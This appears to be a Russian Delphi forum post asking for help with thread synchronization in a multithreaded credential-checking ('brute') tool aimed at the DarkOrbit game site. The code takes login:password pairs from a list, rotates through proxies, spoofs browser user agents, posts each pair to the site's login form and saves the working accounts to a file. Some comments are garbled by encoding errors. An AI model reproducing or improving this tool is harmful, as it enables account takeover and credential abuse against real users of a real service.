
24.06.2013, 09:37
|
Прохожий
|
|
Регистрация: 16.06.2013
Сообщения: 2
Версия Delphi: delphi xe3
Репутация: 10
|
|
Помогите с synchronize и потоками
Код:
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
HTTP:=TIdHTTP.Create(nil); //создаём компонент
with HTTP do begin //устанавливаем настройки
AllowCookies:=true; //âêëþ÷àåì êóêè
HandleRedirects:=true; //Çàïðåùàåì ðåäèðåêò íà ñòðàíèöó
ReadTimeout:=10000; //Òàéì àóò íà ñîåäèíåíèå (òèïî ÷åêåð ïðîêñè)
ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
randomize; //Рандомизируем числа
Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
end;
//формируем параметры для POST запроса
Send:=TStringList.Create;
Send.Add('loginForm_default_username='+login);
Send.Add('loginForm_default_password='+passw);
Send.Add('loginForm_default_login_submit=Вход');
try
HTTP.Request.Referer:='http://darkorbit.ru/'; //Мы авторизируемся с главной страницы =)
pg:=HTTP.Post('http://darkorbit.ru/?locale=ru&aid=0', send); //Отправляем запрос
if pos('serverSelection' ,pg)<>0 then begin
result:=1;
end
else
result:=2;
except
result:=0;
end;
Send.Free; //Удаляем созданные ранее переменные
HTTP.Free; //Удаляем созданные ранее компоненты
end;
procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string; i:integer;
begin
while work do
begin
inc(tp);
if tp=ProxyList.Count-1 then tp:=0; ëà
ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1);
pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp]));
sacc:=SourceList[0];
SourceList.Delete(0);
if SourceList.Count=0 then work:=false;
if pos(':', sacc)<>0 then begin
slog:=Copy(sacc, 1, Pos(':',sacc)-1);
spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc));
end else begin
slog:=Copy(sacc, 1, Pos(';',sacc)-1);
spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc));
end;
rez:=Form1.CheckAcc(slog, spass, ps, pp);
case rez of
0:begin
SourceList.Add(slog+';'+spass);
Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1);
end;
1:begin Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Append(GoodFile);
Writeln(GoodFile, slog+';'+spass);
Closefile(GoodFile);
Form1.LogMemo.Lines.Add(slog+';'+spass);
Form1.Proc.Progress:=Form1.Proc.Progress+1;
end;
2:begin
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.Proc.Progress:=Form1.Proc.Progress+1;
end;
end;
end;
end;
Брут работает , но зависает , как как я не использовал synchronize в выводе результата . Когда я его использую у меня выводятся не верные данные , так как потоков много . С критической секцией не пробовал , но знаю , что будет медленно . Что подскажите ?
|